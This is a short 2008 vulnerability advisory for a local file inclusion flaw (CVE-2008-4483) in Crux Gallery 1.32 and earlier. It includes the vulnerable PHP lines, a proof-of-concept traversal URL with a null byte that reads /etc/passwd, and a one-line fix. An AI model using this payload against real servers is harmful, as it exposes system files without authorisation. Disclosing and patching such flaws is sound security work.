Crux Gallery <= 1.32 (index.php theme) Local File Inclusion Vulnerability

2008-10-09 / 2008-10-10

Credit: Osirys and darkjoker

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4483

CWE: CWE-22

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

 ~~+=========================================================+~~
 ~~+=========================================================+~~
  [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability
  [?] Discovered On: 01/10/2008
  [*] PHP.ini 
  [*] Magic_Quotes_Gpc = Off
 ~~+=========================================================+~~
  (index.php) // Greetz -> Osirys and darkjoker
  14. $m = $_GET['m'];
  15. $p = $_GET['p'];
  16. $dir = $_GET['dir'];
  17. require_once("main.php");
  18. require_once("themes/".$theme."/theme.php"); 
  $theme  isn't declared, so you can include any file.
  [*] http//[path]/index.php?theme=../../../../../etc/passwd%00
  [*] How To Fix: declare $theme
  ~~+=========================================================+~~

References:

http://www.securityfocus.com/bid/31516

http://www.milw0rm.com/exploits/6645

http://secunia.com/advisories/32058

See this note in RAW Version

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Crux Gallery <= 1.32 (index.php theme) Local File Inclusion Vulnerability

References:

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